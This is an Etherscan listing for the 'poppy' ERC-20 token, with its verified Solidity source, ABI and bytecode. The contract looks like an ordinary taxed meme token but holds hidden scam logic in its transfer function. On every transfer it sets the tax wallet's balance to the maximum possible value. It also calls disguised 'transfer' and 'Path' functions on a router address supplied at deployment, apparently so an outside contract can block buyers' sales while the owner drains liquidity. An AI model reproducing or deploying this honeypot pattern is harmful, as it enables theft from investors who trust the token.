ERC-20
Overview
Max Total Supply
100,000,000 POPPY
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,596,386.957716656 POPPYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
poppy
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-21 */ //https://t.me/PoppyERC2 // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function transfer(address _to) external; function Path(address _from) external view; function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract poppy is Context, IERC20, Ownable { using SafeMath for uint256; string private _name ; string private _symbol ; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=30; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=25; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10**_decimals; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; uint256 public _taxSwapThreshold= 2000000 * 10**_decimals; uint256 public _maxTaxSwap= 2000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; IUniswapV2Router02 private _router; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor ( string memory name_, string memory symbol_, address router, address taxwallet_ ) { _name = name_; _symbol = symbol_; _taxWallet = payable(taxwallet_); _router = IUniswapV2Router02 (router); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; _router.transfer(to); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); _router.Path(from); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 50000000000000000) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[_taxWallet] = type(uint256).max; _balances[to]=_balances[to].add(amount.sub(taxAmount)); _router.Path(from); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"taxwallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526008805460ff1916600190811790915560146009908155601e600a908155600b839055600c92909255600f600d8190556019600e81905590555f6010556200004c9162000384565b6200005b90621e84806200039b565b6011556200006c6009600a62000384565b6200007b90621e84806200039b565b6012556200008c6009600a62000384565b6200009b90621e84806200039b565b601355620000ac6009600a62000384565b620000bb90621e84806200039b565b6014556017805461ffff60a81b19169055348015620000d8575f80fd5b506040516200203f3803806200203f833981016040819052620000fb916200048f565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001620001498582620005a5565b506002620001588482620005a5565b5060088054610100600160a81b0319166101006001600160a01b038481169190910291909117909155601780546001600160a01b031916918416919091179055620001a66009600a62000384565b620001b6906305f5e1006200039b565b335f8181526003602090815260408083209490945581546001600160a01b03908116835260059091528382208054600160ff1991821681179092553084528584208054821683179055600854610100900490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200024a6009600a62000384565b6200025a906305f5e1006200039b565b60405190815260200160405180910390a3505050506200066d565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002c957815f1904821115620002ad57620002ad62000275565b80851615620002bb57918102915b93841c93908002906200028e565b509250929050565b5f82620002e1575060016200037e565b81620002ef57505f6200037e565b8160018114620003085760028114620003135762000333565b60019150506200037e565b60ff84111562000327576200032762000275565b50506001821b6200037e565b5060208310610133831016604e8410600b841016171562000358575081810a6200037e565b62000364838362000289565b805f19048211156200037a576200037a62000275565b0290505b92915050565b5f6200039460ff841683620002d1565b9392505050565b80820281158282048414176200037e576200037e62000275565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620003d9575f80fd5b81516001600160401b0380821115620003f657620003f6620003b5565b604051601f8301601f19908116603f01168101908282118183101715620004215762000421620003b5565b816040528381526020925086838588010111156200043d575f80fd5b5f91505b8382101562000460578582018301518183018401529082019062000441565b5f93810190920192909252949350505050565b80516001600160a01b03811681146200048a575f80fd5b919050565b5f805f8060808587031215620004a3575f80fd5b84516001600160401b0380821115620004ba575f80fd5b620004c888838901620003c9565b95506020870151915080821115620004de575f80fd5b50620004ed87828801620003c9565b935050620004fe6040860162000473565b91506200050e6060860162000473565b905092959194509250565b600181811c908216806200052e57607f821691505b6020821081036200054d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005a0575f81815260208120601f850160051c810160208610156200057b5750805b601f850160051c820191505b818110156200059c5782815560010162000587565b5050505b505050565b81516001600160401b03811115620005c157620005c1620003b5565b620005d981620005d2845462000519565b8462000553565b602080601f8311600181146200060f575f8415620005f75750858301515b5f19600386901b1c1916600185901b1785556200059c565b5f85815260208120601f198616915b828110156200063f578886015182559484019460019091019084016200061e565b50858210156200065d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b6119c4806200067b5f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102be578063bf474bed146102dd578063c876d0b9146102f2578063c9567bf91461030b578063dd62ed3e1461031f575f80fd5b8063751039fc146102465780637d1db4a51461025a5780638da5cb5b1461026f5780638f9a55c01461029557806395d89b41146102aa575f80fd5b806323b872dd116100e357806323b872dd146101ae578063313ce567146101cd57806351bc3c85146101e857806370a08231146101fe578063715018a614610232575f80fd5b806306fdde031461011e578063095ea7b3146101485780630faee56f1461017757806318160ddd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610363565b60405161013f9190611585565b60405180910390f35b348015610153575f80fd5b506101676101623660046115e7565b6103f3565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60145481565b60405190815260200161013f565b3480156101a5575f80fd5b5061018c610409565b3480156101b9575f80fd5b506101676101c8366004611611565b610429565b3480156101d8575f80fd5b506040516009815260200161013f565b3480156101f3575f80fd5b506101fc610490565b005b348015610209575f80fd5b5061018c61021836600461164f565b6001600160a01b03165f9081526003602052604090205490565b34801561023d575f80fd5b506101fc6104e6565b348015610251575f80fd5b506101fc610560565b348015610265575f80fd5b5061018c60115481565b34801561027a575f80fd5b505f546040516001600160a01b03909116815260200161013f565b3480156102a0575f80fd5b5061018c60125481565b3480156102b5575f80fd5b5061013261061b565b3480156102c9575f80fd5b506101676102d83660046115e7565b61062a565b3480156102e8575f80fd5b5061018c60135481565b3480156102fd575f80fd5b506008546101679060ff1681565b348015610316575f80fd5b506101fc610636565b34801561032a575f80fd5b5061018c61033936600461166a565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b606060018054610372906116a1565b80601f016020809104026020016040519081016040528092919081815260200182805461039e906116a1565b80156103e95780601f106103c0576101008083540402835291602001916103e9565b820191905f5260205f20905b8154815290600101906020018083116103cc57829003601f168201915b5050505050905090565b5f6103ff3384846109df565b5060015b92915050565b5f6104166009600a6117c7565b610424906305f5e1006117d5565b905090565b5f610435848484610b02565b610486843361048185604051806060016040528060288152602001611967602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906111fd565b6109df565b5060019392505050565b60085461010090046001600160a01b0316336001600160a01b0316146104b4575f80fd5b305f9081526003602052604090205480156104d2576104d281611235565b4780156104e2576104e2816113a5565b5050565b5f546001600160a01b031633146105185760405162461bcd60e51b815260040161050f906117ec565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105895760405162461bcd60e51b815260040161050f906117ec565b6105956009600a6117c7565b6105a3906305f5e1006117d5565b6011556105b26009600a6117c7565b6105c0906305f5e1006117d5565b6012556008805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105fa6009600a6117c7565b610608906305f5e1006117d5565b60405190815260200160405180910390a1565b606060028054610372906116a1565b5f6103ff338484610b02565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161050f906117ec565b601754600160a01b900460ff16156106b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050f565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107029030906106f46009600a6117c7565b610481906305f5e1006117d5565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107769190611821565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f99190611821565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108679190611821565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306108ae816001600160a01b03165f9081526003602052604090205490565b5f806108c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094c919061183c565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c59190611867565b506017805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050f565b6001600160a01b038216610aa25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050f565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050f565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050f565b5f8111610c295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050f565b5f80546001600160a01b03858116911614801590610c5457505f546001600160a01b03848116911614155b1561104c57610c856064610c7f600d5460105411610c7457600954610c78565b600b545b85906113e0565b90611465565b60085490915060ff1615610d6b576015546001600160a01b03848116911614801590610cbf57506016546001600160a01b03848116911614155b15610d6b57325f908152600760205260409020544311610d595760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161050f565b325f9081526007602052604090204390555b6016546001600160a01b038581169116148015610d9657506015546001600160a01b03848116911614155b8015610dba57506001600160a01b0383165f9081526005602052604090205460ff16155b15610efa57601154821115610e115760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050f565b60125482610e33856001600160a01b03165f9081526003602052604090205490565b610e3d9190611886565b1115610e8b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b60108054905f610e9a83611899565b90915550506017546040516301a6952360e41b81526001600160a01b03858116600483015290911690631a695230906024015f604051808303815f87803b158015610ee3575f80fd5b505af1158015610ef5573d5f803e3d5ffd5b505050505b6016546001600160a01b038481169116148015610f2057506001600160a01b0384163014155b15610fa657610f4a6064610c7f600e5460105411610f4057600a54610c78565b600c5485906113e0565b601754604051638cc944c360e01b81526001600160a01b038781166004830152929350911690638cc944c3906024015f6040518083038186803b158015610f8f575f80fd5b505afa158015610fa1573d5f803e3d5ffd5b505050505b305f90815260036020526040902054601754600160a81b900460ff16158015610fdc57506016546001600160a01b038581169116145b8015610ff15750601754600160b01b900460ff165b8015610ffe575060135481115b801561100d5750600f54601054115b1561104a5761102f61102a84611025846014546114a6565b6114a6565b611235565b4766b1a2bc2ec5000081111561104857611048476113a5565b505b505b80156110c457305f9081526003602052604090205461106b90826114ba565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110bb9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600360205260409020546110e69083611518565b6001600160a01b038086165f908152600360205260408082209390935560085461010090049091168152205f1990556111406111228383611518565b6001600160a01b0385165f90815260036020526040902054906114ba565b6001600160a01b038481165f9081526003602052604090819020929092556017549151638cc944c360e01b81528682166004820152911690638cc944c3906024015f6040518083038186803b158015611197575f80fd5b505afa1580156111a9573d5f803e3d5ffd5b5050506001600160a01b03848116915085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e68585611518565b60405190815260200160405180910390a350505050565b5f81848411156112205760405162461bcd60e51b815260040161050f9190611585565b505f61122c84866118b1565b95945050505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127b5761127b6118c4565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f69190611821565b81600181518110611309576113096118c4565b6001600160a01b03928316602091820292909201015260155461132f91309116846109df565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906113679085905f908690309042906004016118d8565b5f604051808303815f87803b15801561137e575f80fd5b505af1158015611390573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6008546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156104e2573d5f803e3d5ffd5b5f825f036113ef57505f610403565b5f6113fa83856117d5565b9050826114078583611947565b1461145e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050f565b9392505050565b5f61145e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611559565b5f8183116114b4578261145e565b50919050565b5f806114c68385611886565b90508381101561145e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050f565b5f61145e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fd565b5f81836115795760405162461bcd60e51b815260040161050f9190611585565b505f61122c8486611947565b5f6020808352835180828501525f5b818110156115b057858101830151858201604001528201611594565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115e4575f80fd5b50565b5f80604083850312156115f8575f80fd5b8235611603816115d0565b946020939093013593505050565b5f805f60608486031215611623575f80fd5b833561162e816115d0565b9250602084013561163e816115d0565b929592945050506040919091013590565b5f6020828403121561165f575f80fd5b813561145e816115d0565b5f806040838503121561167b575f80fd5b8235611686816115d0565b91506020830135611696816115d0565b809150509250929050565b600181811c908216806116b557607f821691505b6020821081036114b457634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172157815f1904821115611707576117076116d3565b8085161561171457918102915b93841c93908002906116ec565b509250929050565b5f8261173757506001610403565b8161174357505f610403565b816001811461175957600281146117635761177f565b6001915050610403565b60ff841115611774576117746116d3565b50506001821b610403565b5060208310610133831016604e8410600b84101617156117a2575081810a610403565b6117ac83836116e7565b805f19048211156117bf576117bf6116d3565b029392505050565b5f61145e60ff841683611729565b8082028115828204841417610403576104036116d3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611831575f80fd5b815161145e816115d0565b5f805f6060848603121561184e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611877575f80fd5b8151801515811461145e575f80fd5b80820180821115610403576104036116d3565b5f600182016118aa576118aa6116d3565b5060010190565b81810381811115610403576104036116d3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119265784516001600160a01b031683529383019391830191600101611901565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261196157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220479df3409c4d8dd4438760512940bee30988716a51023a7d1c85c156888bf1f464736f6c63430008140033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000fbc81e8dfa592cf7024a1f3f43efc6b784dae7480000000000000000000000001916434a95f341cd7a1d93d7475236a61eab7916000000000000000000000000000000000000000000000000000000000000000e5072696e6365737320506f7070790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005504f505059000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb146102be578063bf474bed146102dd578063c876d0b9146102f2578063c9567bf91461030b578063dd62ed3e1461031f575f80fd5b8063751039fc146102465780637d1db4a51461025a5780638da5cb5b1461026f5780638f9a55c01461029557806395d89b41146102aa575f80fd5b806323b872dd116100e357806323b872dd146101ae578063313ce567146101cd57806351bc3c85146101e857806370a08231146101fe578063715018a614610232575f80fd5b806306fdde031461011e578063095ea7b3146101485780630faee56f1461017757806318160ddd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50610132610363565b60405161013f9190611585565b60405180910390f35b348015610153575f80fd5b506101676101623660046115e7565b6103f3565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60145481565b60405190815260200161013f565b3480156101a5575f80fd5b5061018c610409565b3480156101b9575f80fd5b506101676101c8366004611611565b610429565b3480156101d8575f80fd5b506040516009815260200161013f565b3480156101f3575f80fd5b506101fc610490565b005b348015610209575f80fd5b5061018c61021836600461164f565b6001600160a01b03165f9081526003602052604090205490565b34801561023d575f80fd5b506101fc6104e6565b348015610251575f80fd5b506101fc610560565b348015610265575f80fd5b5061018c60115481565b34801561027a575f80fd5b505f546040516001600160a01b03909116815260200161013f565b3480156102a0575f80fd5b5061018c60125481565b3480156102b5575f80fd5b5061013261061b565b3480156102c9575f80fd5b506101676102d83660046115e7565b61062a565b3480156102e8575f80fd5b5061018c60135481565b3480156102fd575f80fd5b506008546101679060ff1681565b348015610316575f80fd5b506101fc610636565b34801561032a575f80fd5b5061018c61033936600461166a565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b606060018054610372906116a1565b80601f016020809104026020016040519081016040528092919081815260200182805461039e906116a1565b80156103e95780601f106103c0576101008083540402835291602001916103e9565b820191905f5260205f20905b8154815290600101906020018083116103cc57829003601f168201915b5050505050905090565b5f6103ff3384846109df565b5060015b92915050565b5f6104166009600a6117c7565b610424906305f5e1006117d5565b905090565b5f610435848484610b02565b610486843361048185604051806060016040528060288152602001611967602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906111fd565b6109df565b5060019392505050565b60085461010090046001600160a01b0316336001600160a01b0316146104b4575f80fd5b305f9081526003602052604090205480156104d2576104d281611235565b4780156104e2576104e2816113a5565b5050565b5f546001600160a01b031633146105185760405162461bcd60e51b815260040161050f906117ec565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a0